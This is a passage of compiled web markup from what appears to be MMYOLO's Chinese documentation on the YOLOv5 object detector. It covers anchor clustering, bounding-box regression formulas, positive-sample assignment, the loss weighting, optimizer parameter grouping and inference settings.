\u5339\u914d\u7684\u89c4\u5219\uff0c\u800c\u662f\u76f4\u63a5\u91c7\u7528 shape \u89c4\u5219\u5339\u914d\uff0c\u4e5f\u5c31\u662f\u8be5 GT Bbox \u548c\u5f53\u524d\u5c42\u7684 Anchor \u8ba1\u7b97\u5bbd\u9ad8\u6bd4\uff0c\u5982\u679c\u5bbd\u9ad8\u6bd4\u4f8b\u5927\u4e8e\u8bbe\u5b9a\u9608\u503c\uff0c\u5219\u8bf4\u660e\u8be5 GT Bbox \u548c Anchor \u5339\u914d\u5ea6\u4e0d\u591f\uff0c\u5c06\u8be5 GT Bbox \u6682\u65f6\u4e22\u6389\uff0c\u5728\u8be5\u5c42\u9884\u6d4b\u4e2d\u8be5 GT Bbox \u5bf9\u5e94\u7684\u7f51\u683c\u5185\u7684\u9884\u6d4b\u4f4d\u7f6e\u8ba4\u4e3a\u662f\u8d1f\u6837\u672c"}),"\n",(0,r.jsx)(e.li,{children:"\u5bf9\u4e8e\u5269\u4e0b\u7684 GT Bbox(\u4e5f\u5c31\u662f\u5339\u914d\u4e0a\u7684 GT Bbox)\uff0c\u8ba1\u7b97\u5176\u843d\u5728\u54ea\u4e2a\u7f51\u683c\u5185\uff0c\u540c\u65f6\u5229\u7528\u56db\u820d\u4e94\u5165\u89c4\u5219\uff0c\u627e\u51fa\u6700\u8fd1\u7684\u4e24\u4e2a\u7f51\u683c\uff0c\u5c06\u8fd9\u4e09\u4e2a\u7f51\u683c\u90fd\u8ba4\u4e3a\u662f\u8d1f\u8d23\u9884\u6d4b\u8be5 GT Bbox \u7684\uff0c\u53ef\u4ee5\u7c97\u7565\u4f30\u8ba1\u6b63\u6837\u672c\u6570\u76f8\u6bd4\u4e4b\u524d\u7684 YOLO \u7cfb\u5217\uff0c\u81f3\u5c11\u589e\u52a0\u4e86\u4e09\u500d"}),"\n"]}),"\n",(0,r.jsxs)(e.p,{children:["\u4e0b\u9762\u4f1a\u5bf9\u6bcf\u4e2a\u90e8\u5206\u8fdb\u884c\u8be6\u7ec6\u8bf4\u660e\uff0c\u90e8\u5206\u63cf\u8ff0\u548c\u56fe\u793a\u76f4\u63a5\u6216\u95f4\u63a5\u53c2\u8003\u81ea\u5b98\u65b9 ",(0,r.jsx)(e.a,{href:"https://github.com/ultralytics/YOLOv5/issues/6998#44",children:"Repo"}),"\u3002"]}),"\n",(0,r.jsx)(e.h4,{id:"131-anchor-\u8bbe\u7f6e",children:"1.3.1 Anchor \u8bbe\u7f6e"}),"\n",(0,r.jsx)(e.p,{children:"YOLOv5 \u662f Anchor-based \u7684\u76ee\u6807\u68c0\u6d4b\u7b97\u6cd5\uff0c\u5176 Anchor size \u7684\u83b7\u53d6\u65b9\u5f0f\u4e0e YOLOv3 \u7c7b\u4f3c\uff0c\u4e5f\u662f\u4f7f\u7528\u805a\u7c7b\u83b7\u5f97\uff0c\u5176\u4e0d\u540c\u4e4b\u5904\u5728\u4e8e\u805a\u7c7b\u4f7f\u7528\u7684\u6807\u51c6\u4e0d\u518d\u662f\u57fa\u4e8e IoU \u7684\uff0c\u800c\u662f\u4f7f\u7528\u5f62\u72b6\u4e0a\u7684\u5bbd\u9ad8\u6bd4\u4f5c\u4e3a\u805a\u7c7b\u51c6\u5219(\u5373 shape-match )\u3002"}),"\n",(0,r.jsx)(e.p,{children:"\u5728\u7528\u6237\u66f4\u6362\u4e86\u6570\u636e\u96c6\u540e\uff0c\u53ef\u4ee5\u4f7f\u7528 MMYOLO \u91cc\u5e26\u6709\u7684 Anchor \u5206\u6790\u5de5\u5177\uff0c\u5bf9\u81ea\u5df1\u7684\u6570\u636e\u96c6\u8fdb\u884c\u5206\u6790\uff0c\u786e\u5b9a\u5408\u9002\u7684 Anchor size\u3002"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-shell",children:"python tools/analysis_tools/optimize_anchors.py ${CONFIG} --algorithm v5-k-means\n --input-shape ${INPUT_SHAPE [WIDTH HEIGHT]} --output-dir ${OUTPUT_DIR}\n"})}),"\n",(0,r.jsxs)(e.p,{children:["\u7136\u540e\u5728 ",(0,r.jsx)(e.a,{href:"https://github.com/open-mmlab/mmyolo/blob/main/configs/yolov5/yolov5_s-v61_syncbn_fast_8xb16-300e_coco.py",children:"config \u6587\u4ef6"})," \u91cc\u4fee\u6539\u9ed8\u8ba4 Anchor size:"]}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-python",children:"anchors = [[(10, 13), (16, 30), (33, 23)], [(30, 61), (62, 45), (59, 119)],\n [(116, 90), (156, 198), (373, 326)]]\n"})}),"\n",(0,r.jsx)(e.h4,{id:"132-bbox-\u7f16\u89e3\u7801\u8fc7\u7a0b",children:"1.3.2 Bbox \u7f16\u89e3\u7801\u8fc7\u7a0b"}),"\n",(0,r.jsx)(e.p,{children:"\u5728 Anchor-based \u7b97\u6cd5\u4e2d\uff0c\u9884\u6d4b\u6846\u901a\u5e38\u4f1a\u57fa\u4e8e Anchor \u8fdb\u884c\u53d8\u6362\uff0c\u7136\u540e\u9884\u6d4b\u53d8\u6362\u91cf\uff0c\u8fd9\u5bf9\u5e94 GT Bbox \u7f16\u7801\u8fc7\u7a0b\uff0c\u800c\u5728\u9884\u6d4b\u540e\u9700\u8981\u8fdb\u884c Pred Bbox \u89e3\u7801\uff0c\u8fd8\u539f\u4e3a\u771f\u5b9e\u5c3a\u5ea6\u7684 Bbox\uff0c\u8fd9\u5bf9\u5e94 Pred Bbox \u89e3\u7801\u8fc7\u7a0b\u3002"}),"\n",(0,r.jsx)(e.p,{children:"\u5728 YOLOv3 \u4e2d\uff0c\u56de\u5f52\u516c\u5f0f\u4e3a\uff1a"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-{math}",children:"b_x=\\sigma(t_x)+c_x \\\\\nb_y=\\sigma(t_y)+c_y \\\\\nb_w=a_w\\cdot e^{t_w} \\\\\nb_h=a_h\\cdot e^{t_h} \\\\\n"})}),"\n",(0,r.jsx)(e.p,{children:"\u516c\u5f0f\u4e2d\uff0c"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-{math}",children:"a_w \u4ee3\u8868 Anchor \u7684\u5bbd\u5ea6 \\\\\nc_x \u4ee3\u8868 Grid \u6240\u5904\u7684\u5750\u6807 \\\\\n\\sigma \u4ee3\u8868 Sigmoid \u516c\u5f0f\u3002\n"})}),"\n",(0,r.jsx)(e.p,{children:"\u800c\u5728 YOLOv5 \u4e2d\uff0c\u56de\u5f52\u516c\u5f0f\u4e3a\uff1a"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-{math}",children:"b_x=(2\\cdot\\sigma(t_x)-0.5)+c_x \\\\\nb_y=(2\\cdot\\sigma(t_y)-0.5)+c_y \\\\\nb_w=a_w\\cdot(2\\cdot\\sigma(t_w))^2 \\\\\nb_h=a_h\\cdot(2\\cdot\\sigma(t_h))^2\n"})}),"\n",(0,r.jsx)(e.p,{children:"\u6539\u8fdb\u4e4b\u5904\u4e3b\u8981\u6709\u4ee5\u4e0b\u4e24\u70b9\uff1a"}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsx)(e.li,{children:"\u4e2d\u5fc3\u70b9\u5750\u6807\u8303\u56f4\u4ece (0, 1) \u8c03\u6574\u81f3 (-0.5, 1.5)"}),"\n",(0,r.jsx)(e.li,{children:"\u5bbd\u9ad8\u8303\u56f4\u4ece"}),"\n"]}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-{math}",children:"(0\uff0c+\\infty)\n"})}),"\n",(0,r.jsx)(e.p,{children:"\u8c03\u6574\u81f3"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-{math}",children:"(0\uff0c4a_{wh})\n"})}),"\n",(0,r.jsx)(e.p,{children:"\u8fd9\u4e2a\u6539\u8fdb\u5177\u6709\u4ee5\u4e0b\u597d\u5904\uff1a"}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsxs)(e.li,{children:[(0,r.jsx)(e.strong,{children:"\u65b0\u7684\u4e2d\u5fc3\u70b9\u8bbe\u7f6e\u80fd\u66f4\u597d\u7684\u9884\u6d4b\u5230 0 \u548c 1"}),"\u3002\u8fd9\u6709\u52a9\u4e8e\u66f4\u7cbe\u51c6\u56de\u5f52\u51fa box \u5750\u6807\u3002"]}),"\n"]}),"\n",(0,r.jsxs)(e.div,{align:"center",children:["\n",(0,r.jsx)(e.img,{alt:"image",src:"https://user-images.githubusercontent.com/40284075/190546778-83001bac-4e71-4b9a-8de8-bd41146495af.png"}),"\n"]}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsxs)(e.li,{children:["\u5bbd\u9ad8\u56de\u5f52\u516c\u5f0f\u4e2d exp(x) \u662f\u65e0\u754c\u7684\uff0c\u8fd9\u4f1a\u5bfc\u81f4",(0,r.jsx)(e.strong,{children:"\u68af\u5ea6\u5931\u53bb\u63a7\u5236"}),"\uff0c\u9020\u6210\u8bad\u7ec3\u4e0d\u7a33\u5b9a\u3002YOLOv5 \u4e2d\u6539\u8fdb\u540e\u7684\u5bbd\u9ad8\u56de\u5f52\u516c\u5f0f\u4f18\u5316\u4e86\u6b64\u95ee\u9898\u3002"]}),"\n"]}),"\n",(0,r.jsxs)(e.div,{align:"center",children:["\n",(0,r.jsx)(e.img,{alt:"image",src:"https://user-images.githubusercontent.com/40284075/190546793-5364d6d3-7891-4af3-98e3-9f06970f3163.png"}),"\n"]}),"\n",(0,r.jsx)(e.h4,{id:"133-\u5339\u914d\u7b56\u7565",children:"1.3.3 \u5339\u914d\u7b56\u7565"}),"\n",(0,r.jsxs)(e.p,{children:["\u5728 MMYOLO \u8bbe\u8ba1\u4e2d\uff0c\u65e0\u8bba\u7f51\u7edc\u662f Anchor-based \u8fd8\u662f Anchor-free\uff0c",(0,r.jsx)(e.strong,{children:"\u6211\u4eec\u7edf\u4e00\u4f7f\u7528 prior \u79f0\u547c Anchor"}),"\u3002"]}),"\n",(0,r.jsx)(e.p,{children:"\u6b63\u6837\u672c\u5339\u914d\u5305\u542b\u4ee5\u4e0b\u4e24\u6b65\uff1a"}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.strong,{children:"(1) \u201c\u6bd4\u4f8b\u201d\u6bd4\u8f83"})}),"\n",(0,r.jsx)(e.p,{children:"\u5c06 GT Bbox \u7684 WH \u4e0e Prior \u7684 WH \u8fdb\u884c\u201c\u6bd4\u4f8b\u201d\u6bd4\u8f83\u3002"}),"\n",(0,r.jsx)(e.p,{children:"\u6bd4\u8f83\u6d41\u7a0b\uff1a"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-{math}",children:"r_w = w\\_{gt} / w\\_{pt} \\\\\nr_h = h\\_{gt} / h\\_{pt} \\\\\nr_w^{max}=max(r_w, 1/r_w) \\\\\nr_h^{max}=max(r_h, 1/r_h) \\\\\nr^{max}=max(r_w^{max}, r_h^{max}) \\\\\nif\\ \\ r_{max} < prior\\_match\\_thr: match!\n"})}),"\n",(0,r.jsx)(e.p,{children:"\u6b64\u5904\u6211\u4eec\u7528\u4e00\u4e2a GT Bbox \u4e0e P3 \u7279\u5f81\u56fe\u7684 Prior \u8fdb\u884c\u5339\u914d\u7684\u6848\u4f8b\u8fdb\u884c\u8bb2\u89e3\u548c\u56fe\u793a\uff1a"}),"\n",(0,r.jsxs)(e.div,{align:"center",children:["\n",(0,r.jsx)(e.img,{alt:"image",src:"https://user-images.githubusercontent.com/40284075/190547195-60d6cd7a-b12a-4c6f-9cc8-13f48c8ab1e0.png"}),"\n"]}),"\n",(0,r.jsx)(e.p,{children:"prior1 \u5339\u914d\u5931\u8d25\u7684\u539f\u56e0\u662f"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-{math}",children:"h\\_{gt}\\ /\\ h\\_{prior}\\ =\\ 4.8\\ >\\ prior\\_match\\_thr\n"})}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.strong,{children:"(2) \u4e3a\u6b65\u9aa4 1 \u4e2d match \u7684 GT \u5206\u914d\u5bf9\u5e94\u7684\u6b63\u6837\u672c"})}),"\n",(0,r.jsx)(e.p,{children:"\u4f9d\u7136\u6cbf\u7528\u4e0a\u9762\u7684\u4f8b\u5b50\uff1a"}),"\n",(0,r.jsx)(e.p,{children:"GT Bbox (cx, cy, w, h) \u503c\u4e3a (26, 37, 36, 24)\uff0c"}),"\n",(0,r.jsx)(e.p,{children:"Prior WH \u503c\u4e3a [(15, 5), (24, 16), (16, 24)]\uff0c\u5728 P3 \u7279\u5f81\u56fe\u4e0a\uff0cstride \u4e3a 8\u3002\u901a\u8fc7\u8ba1\u7b97\uff0cprior2 \u548c prior3 \u80fd\u591f match\u3002"}),"\n",(0,r.jsx)(e.p,{children:"\u8ba1\u7b97\u8fc7\u7a0b\u5982\u4e0b\uff1a"}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.strong,{children:"(2.1) \u5c06 GT Bbox \u7684\u4e2d\u5fc3\u70b9\u5750\u6807\u5bf9\u5e94\u5230 P3 \u7684 grid \u4e0a"})}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-{math}",children:"GT_x^{center_grid}=26/8=3.25 \\\\\nGT_y^{center_grid}=37/8=4.625\n"})}),"\n",(0,r.jsxs)(e.div,{align:"center",children:["\n",(0,r.jsx)(e.img,{alt:"image",src:"https://user-images.githubusercontent.com/40284075/190549304-020ec19e-6d54-4d40-8f43-f78b8d6948aa.png"}),"\n"]}),"\n",(0,r.jsxs)(e.p,{children:[(0,r.jsx)(e.strong,{children:"(2.2)"})," \u5c06 GT Bbox \u4e2d\u5fc3\u70b9\u6240\u5728\u7684 grid \u5206\u6210\u56db\u4e2a\u8c61\u9650\uff0c",(0,r.jsx)(e.strong,{children:"\u7531\u4e8e\u4e2d\u5fc3\u70b9\u843d\u5728\u4e86\u5de6\u4e0b\u89d2\u7684\u8c61\u9650\u5f53\u4e2d\uff0c\u90a3\u4e48\u4f1a\u5c06\u7269\u4f53\u7684\u5de6\u3001\u4e0b\u4e24\u4e2a grid \u4e5f\u8ba4\u4e3a\u662f\u6b63\u6837\u672c"})]}),"\n",(0,r.jsxs)(e.div,{align:"center",children:["\n",(0,r.jsx)(e.img,{alt:"image",src:"https://user-images.githubusercontent.com/40284075/190549310-e5da53e3-eae3-4085-bd0a-1843ac8ca653.png"}),"\n"]}),"\n",(0,r.jsx)(e.p,{children:"\u4e0b\u56fe\u5c55\u793a\u4e2d\u5fc3\u70b9\u843d\u5230\u4e0d\u540c\u4f4d\u7f6e\u65f6\u7684\u6b63\u6837\u672c\u5206\u914d\u60c5\u51b5\uff1a"}),"\n",(0,r.jsxs)(e.div,{align:"center",children:["\n",(0,r.jsx)(e.img,{alt:"image",src:"https://user-images.githubusercontent.com/40284075/190549613-eb47e70a-a2c1-4729-9fb7-f5ce7007842b.png"}),"\n"]}),"\n",(0,r.jsx)(e.p,{children:"\u90a3\u4e48 YOLOv5 \u7684 Assign \u65b9\u5f0f\u5177\u4f53\u5e26\u6765\u4e86\u54ea\u4e9b\u6539\u8fdb\uff1f"}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsxs)(e.li,{children:["\n",(0,r.jsx)(e.p,{children:"\u4e00\u4e2a GT Bbox \u80fd\u591f\u5339\u914d\u591a\u4e2a Prior"}),"\n"]}),"\n",(0,r.jsxs)(e.li,{children:["\n",(0,r.jsx)(e.p,{children:"\u4e00\u4e2a GT Bbox \u548c\u4e00\u4e2aPrior \u5339\u914d\u65f6\uff0c\u80fd\u5206\u914d 1-3 \u4e2a\u6b63\u6837\u672c"}),"\n"]}),"\n",(0,r.jsxs)(e.li,{children:["\n",(0,r.jsxs)(e.p,{children:["\u4ee5\u4e0a\u7b56\u7565\u80fd",(0,r.jsx)(e.strong,{children:"\u9002\u5ea6\u7f13\u89e3\u76ee\u6807\u68c0\u6d4b\u4e2d\u5e38\u89c1\u7684\u6b63\u8d1f\u6837\u672c\u4e0d\u5747\u8861\u95ee\u9898"}),"\u3002"]}),"\n"]}),"\n"]}),"\n",(0,r.jsx)(e.p,{children:"\u800c YOLOv5 \u4e2d\u7684\u56de\u5f52\u65b9\u5f0f\uff0c\u548c Assign \u65b9\u5f0f\u662f\u76f8\u4e92\u547c\u5e94\u7684\uff1a"}),"\n",(0,r.jsxs)(e.ol,{children:["\n",(0,r.jsx)(e.li,{children:"\u4e2d\u5fc3\u70b9\u56de\u5f52\u65b9\u5f0f\uff1a"}),"\n"]}),"\n",(0,r.jsxs)(e.div,{align:"center",children:["\n",(0,r.jsx)(e.img,{alt:"image",src:"https://user-images.githubusercontent.com/40284075/190549684-21776c33-9ef8-4818-9530-14f750a18d63.png"}),"\n"]}),"\n",(0,r.jsxs)(e.ol,{start:"2",children:["\n",(0,r.jsx)(e.li,{children:"WH \u56de\u5f52\u65b9\u5f0f\uff1a"}),"\n"]}),"\n",(0,r.jsxs)(e.div,{align:"center",children:["\n",(0,r.jsx)(e.img,{alt:"image",src:"https://user-images.githubusercontent.com/40284075/190549696-3da08c06-753a-4108-be47-64495ea480f2.png"}),"\n"]}),"\n",(0,r.jsx)(e.h3,{id:"14-loss-\u8bbe\u8ba1",children:"1.4 Loss \u8bbe\u8ba1"}),"\n",(0,r.jsx)(e.p,{children:"YOLOv5 \u4e2d\u603b\u5171\u5305\u542b 3 \u4e2a Loss\uff0c\u5206\u522b\u4e3a\uff1a"}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsx)(e.li,{children:"Classes loss\uff1a\u4f7f\u7528\u7684\u662f BCE loss"}),"\n",(0,r.jsx)(e.li,{children:"Objectness loss\uff1a\u4f7f\u7528\u7684\u662f BCE loss"}),"\n",(0,r.jsx)(e.li,{children:"Location loss\uff1a\u4f7f\u7528\u7684\u662f CIoU loss"}),"\n"]}),"\n",(0,r.jsx)(e.p,{children:"\u4e09\u4e2a loss \u6309\u7167\u4e00\u5b9a\u6bd4\u4f8b\u6c47\u603b\uff1a"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-{math}",children:"Loss=\\lambda_1L_{cls}+\\lambda_2L_{obj}+\\lambda_3L_{loc}\n"})}),"\n",(0,r.jsx)(e.p,{children:"P3\u3001P4\u3001P5 \u5c42\u5bf9\u5e94\u7684 Objectness loss \u6309\u7167\u4e0d\u540c\u6743\u91cd\u8fdb\u884c\u76f8\u52a0\uff0c\u9ed8\u8ba4\u7684\u8bbe\u7f6e\u662f"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-python",children:"obj_level_weights=[4., 1., 0.4]\n"})}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-{math}",children:"L_{obj}=4.0\\cdot L_{obj}^{small}+1.0\\cdot L_{obj}^{medium}+0.4\\cdot L_{obj}^{large}\n"})}),"\n",(0,r.jsx)(e.p,{children:"\u5728\u590d\u73b0\u4e2d\u6211\u4eec\u53d1\u73b0 YOLOv5 \u4e2d\u4f7f\u7528\u7684 CIoU \u4e0e\u76ee\u524d\u6700\u65b0\u5b98\u65b9 CIoU \u5b58\u5728\u4e00\u5b9a\u7684\u5dee\u8ddd\uff0c\u5dee\u8ddd\u4f53\u73b0\u5728 alpha \u53c2\u6570\u7684\u8ba1\u7b97\u3002"}),"\n",(0,r.jsx)(e.p,{children:"\u5b98\u65b9\u7248\u672c\uff1a"}),"\n",(0,r.jsxs)(e.p,{children:["\u53c2\u8003\u8d44\u6599\uff1a",(0,r.jsx)(e.a,{href:"https://github.com/Zzh-tju/CIoU/blob/master/layers/modules/multibox_loss.py#L53-L55",children:"https://github.com/Zzh-tju/CIoU/blob/master/layers/modules/multibox_loss.py#L53-L55"})]}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-python",children:"alpha = (ious > 0.5).float() * v / (1 - ious + v)\n"})}),"\n",(0,r.jsx)(e.p,{children:"YOLOv5 \u7248\u672c\uff1a"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-python",children:"alpha = v / (v - ious + (1 + eps))\n"})}),"\n",(0,r.jsx)(e.p,{children:"\u8fd9\u662f\u4e00\u4e2a\u6709\u8da3\u7684\u7ec6\u8282\uff0c\u540e\u7eed\u9700\u8981\u6d4b\u8bd5\u4e0d\u540c alpha \u8ba1\u7b97\u65b9\u5f0f\u60c5\u51b5\u4e0b\u5e26\u6765\u7684\u7cbe\u5ea6\u5dee\u8ddd\u3002"}),"\n",(0,r.jsx)(e.h3,{id:"15-\u4f18\u5316\u7b56\u7565\u548c\u8bad\u7ec3\u8fc7\u7a0b",children:"1.5 \u4f18\u5316\u7b56\u7565\u548c\u8bad\u7ec3\u8fc7\u7a0b"}),"\n",(0,r.jsx)(e.p,{children:"YOLOv5 \u5bf9\u6bcf\u4e2a\u4f18\u5316\u5668\u7684\u53c2\u6570\u7ec4\u8fdb\u884c\u975e\u5e38\u7cbe\u7ec6\u7684\u63a7\u5236\uff0c\u7b80\u5355\u6765\u8bf4\u5305\u62ec\u5982\u4e0b\u90e8\u5206\u3002"}),"\n",(0,r.jsx)(e.h4,{id:"151-\u4f18\u5316\u5668\u5206\u7ec4",children:"1.5.1 \u4f18\u5316\u5668\u5206\u7ec4"}),"\n",(0,r.jsx)(e.p,{children:"\u5c06\u4f18\u5316\u53c2\u6570\u5206\u6210 Conv/Bias/BN \u4e09\u7ec4\uff0c\u5728 WarmUp \u9636\u6bb5\uff0c\u4e0d\u540c\u7ec4\u91c7\u7528\u4e0d\u540c\u7684 lr \u4ee5\u53ca momentum \u66f4\u65b0\u66f2\u7ebf\u3002\n\u540c\u65f6\u5728 WarmUp \u9636\u6bb5\u91c7\u7528\u7684\u662f iter-based \u66f4\u65b0\u7b56\u7565\uff0c\u800c\u5728\u975e WarmUp \u9636\u6bb5\u5219\u53d8\u6210 epoch-based \u66f4\u65b0\u7b56\u7565\uff0c\u53ef\u8c13\u662f trick \u5341\u8db3\u3002"}),"\n",(0,r.jsx)(e.p,{children:"MMYOLO \u4e2d\u662f\u91c7\u7528 YOLOv5OptimizerConstructor \u4f18\u5316\u5668\u6784\u9020\u5668\u5b9e\u73b0\u4f18\u5316\u5668\u53c2\u6570\u5206\u7ec4\u3002\u4f18\u5316\u5668\u6784\u9020\u5668\u7684\u4f5c\u7528\u5c31\u662f\u5bf9\u4e00\u4e9b\u7279\u6b8a\u7684\u53c2\u6570\u7ec4\u521d\u59cb\u5316\u8fc7\u7a0b\u8fdb\u884c\u7cbe\u7ec6\u5316\u63a7\u5236\uff0c\u56e0\u6b64\u53ef\u4ee5\u5f88\u597d\u7684\u6ee1\u8db3\u9700\u6c42\u3002"}),"\n",(0,r.jsx)(e.p,{children:"\u800c\u4e0d\u540c\u7684\u53c2\u6570\u7ec4\u91c7\u7528\u4e0d\u540c\u7684\u8c03\u5ea6\u66f2\u7ebf\u529f\u80fd\u5219\u662f\u901a\u8fc7 YOLOv5ParamSchedulerHook \u5b9e\u73b0\u3002\u800c\u4e0d\u540c\u7684\u53c2\u6570\u7ec4\u91c7\u7528\u4e0d\u540c\u7684\u8c03\u5ea6\u66f2\u7ebf\u529f\u80fd\u5219\u662f\u901a\u8fc7 YOLOv5ParamSchedulerHook \u5b9e\u73b0\u3002"}),"\n",(0,r.jsx)(e.h4,{id:"152-weight-decay-\u53c2\u6570\u81ea\u9002\u5e94",children:"1.5.2 weight decay \u53c2\u6570\u81ea\u9002\u5e94"}),"\n",(0,r.jsx)(e.p,{children:"\u4f5c\u8005\u9488\u5bf9\u4e0d\u540c\u7684 batch size \u91c7\u7528\u4e86\u4e0d\u540c\u7684 weight decay \u7b56\u7565\uff0c\u5177\u4f53\u6765\u8bf4\u4e3a\uff1a"}),"\n",(0,r.jsxs)(e.ol,{children:["\n",(0,r.jsx)(e.li,{children:"\u5f53\u8bad\u7ec3 batch size <= 64 \u65f6\uff0cweight decay \u4e0d\u53d8"}),"\n",(0,r.jsx)(e.li,{children:"\u5f53\u8bad\u7ec3 batch size > 64 \u65f6\uff0cweight decay \u4f1a\u6839\u636e\u603b batch size \u8fdb\u884c\u7ebf\u6027\u7f29\u653e"}),"\n"]}),"\n",(0,r.jsx)(e.p,{children:"MMYOLO \u4e5f\u662f\u901a\u8fc7 YOLOv5OptimizerConstructor \u5b9e\u73b0\u3002"}),"\n",(0,r.jsx)(e.h4,{id:"153-\u68af\u5ea6\u7d2f\u52a0",children:"1.5.3 \u68af\u5ea6\u7d2f\u52a0"}),"\n",(0,r.jsx)(e.p,{children:"\u4e3a\u4e86\u6700\u5927\u5316\u4e0d\u540c batch size \u60c5\u51b5\u4e0b\u7684\u6027\u80fd\uff0c\u4f5c\u8005\u8bbe\u7f6e\u603b batch size \u5c0f\u4e8e 64 \u65f6\u5019\u4f1a\u81ea\u52a8\u5f00\u542f\u68af\u5ea6\u7d2f\u52a0\u529f\u80fd\u3002"}),"\n",(0,r.jsx)(e.p,{children:"\u8bad\u7ec3\u8fc7\u7a0b\u548c\u5927\u90e8\u5206 YOLO \u7c7b\u4f3c\uff0c\u5305\u62ec\u5982\u4e0b\u7b56\u7565\uff1a"}),"\n",(0,r.jsxs)(e.ol,{children:["\n",(0,r.jsx)(e.li,{children:"\u6ca1\u6709\u4f7f\u7528\u9884\u8bad\u7ec3\u6743\u91cd"}),"\n",(0,r.jsx)(e.li,{children:"\u6ca1\u6709\u91c7\u7528\u591a\u5c3a\u5ea6\u8bad\u7ec3\u7b56\u7565\uff0c\u540c\u65f6\u53ef\u4ee5\u5f00\u542f cudnn.benchmark \u8fdb\u4e00\u6b65\u52a0\u901f\u8bad\u7ec3"}),"\n",(0,r.jsx)(e.li,{children:"\u4f7f\u7528\u4e86 EMA \u7b56\u7565\u5e73\u6ed1\u6a21\u578b"}),"\n",(0,r.jsx)(e.li,{children:"\u9ed8\u8ba4\u91c7\u7528 AMP \u81ea\u52a8\u6df7\u5408\u7cbe\u5ea6\u8bad\u7ec3"}),"\n"]}),"\n",(0,r.jsxs)(e.p,{children:["\u9700\u8981\u7279\u610f\u8bf4\u660e\u7684\u662f\uff1aYOLOv5 \u5b98\u65b9\u5bf9\u4e8e small \u6a21\u578b\u662f\u91c7\u7528\u5355\u5361 v100 \u8bad\u7ec3\uff0cbs \u4e3a 128\uff0c\u800c m/l/x \u7b49\u662f\u91c7\u7528\u4e0d\u540c\u6570\u76ee\u7684\u591a\u5361\u5b9e\u73b0\u7684\uff0c\n\u8fd9\u79cd\u8bad\u7ec3\u7b56\u7565\u4e0d\u592a\u89c4\u8303\uff0c",(0,r.jsx)(e.strong,{children:"\u4e3a\u6b64\u5728 MMYOLO \u4e2d\u5168\u90e8\u91c7\u7528\u4e86 8 \u5361\uff0c\u6bcf\u5361 16 bs \u7684\u8bbe\u7f6e\uff0c\u540c\u65f6\u4e3a\u4e86\u907f\u514d\u6027\u80fd\u5dee\u5f02\uff0c\u8bad\u7ec3\u65f6\u5019\u5f00\u542f\u4e86 SyncBN"}),"\u3002"]}),"\n",(0,r.jsx)(e.h3,{id:"16-\u63a8\u7406\u548c\u540e\u5904\u7406\u8fc7\u7a0b",children:"1.6 \u63a8\u7406\u548c\u540e\u5904\u7406\u8fc7\u7a0b"}),"\n",(0,r.jsx)(e.p,{children:"YOLOv5 \u540e\u5904\u7406\u8fc7\u7a0b\u548c YOLOv3 \u975e\u5e38\u7c7b\u4f3c\uff0c\u5b9e\u9645\u4e0a YOLO \u7cfb\u5217\u7684\u540e\u5904\u7406\u903b\u8f91\u90fd\u662f\u7c7b\u4f3c\u7684\u3002"}),"\n",(0,r.jsx)(e.h4,{id:"161-\u6838\u5fc3\u63a7\u5236\u53c2\u6570",children:"1.6.1 \u6838\u5fc3\u63a7\u5236\u53c2\u6570"}),"\n",(0,r.jsxs)(e.ol,{children:["\n",(0,r.jsx)(e.li,{children:(0,r.jsx)(e.strong,{children:"multi_label"})}),"\n"]}),"\n",(0,r.jsx)(e.p,{children:"\u5bf9\u4e8e\u591a\u7c7b\u522b\u9884\u6d4b\u6765\u8bf4\u9700\u8981\u8003\u8651\u662f\u5426\u662f\u591a\u6807\u7b7e\u4efb\u52a1\uff0c\u4e5f\u5c31\u662f\u540c\u4e00\u4e2a\u9884\u6d4b\u4f4d\u7f6e\u4f1a\u9884\u6d4b\u7684\u591a\u4e2a\u7c7b\u522b\u6982\u7387\uff0c\u548c\u662f\u5426\u5f53\u4f5c\u5355\u7c7b\u5904\u7406\u3002\u56e0\u4e3a YOLOv5 \u91c7\u7528 sigmoid \u9884\u6d4b\u6a21\u5f0f\uff0c\u5728\u8003\u8651\u591a\u6807\u7b7e\u60c5\u51b5\u4e0b\u53ef\u80fd\u4f1a\u51fa\u73b0\u4e00\u4e2a\u7269\u4f53\u68c0\u6d4b\u51fa\u4e24\u4e2a\u4e0d\u540c\u7c7b\u522b\u7684\u6846\uff0c\u8fd9\u6709\u52a9\u4e8e\u8bc4\u4f30\u6307\u6807 mAP\uff0c\u4f46\u662f\u4e0d\u5229\u4e8e\u5b9e\u9645\u5e94\u7528\u3002\n\u56e0\u6b64\u5728\u9700\u8981\u7b97\u8bc4\u4f30\u6307\u6807\u65f6\u5019 multi_label \u662f True\uff0c\u800c\u63a8\u7406\u6216\u8005\u5b9e\u9645\u5e94\u7528\u65f6\u5019\u662f 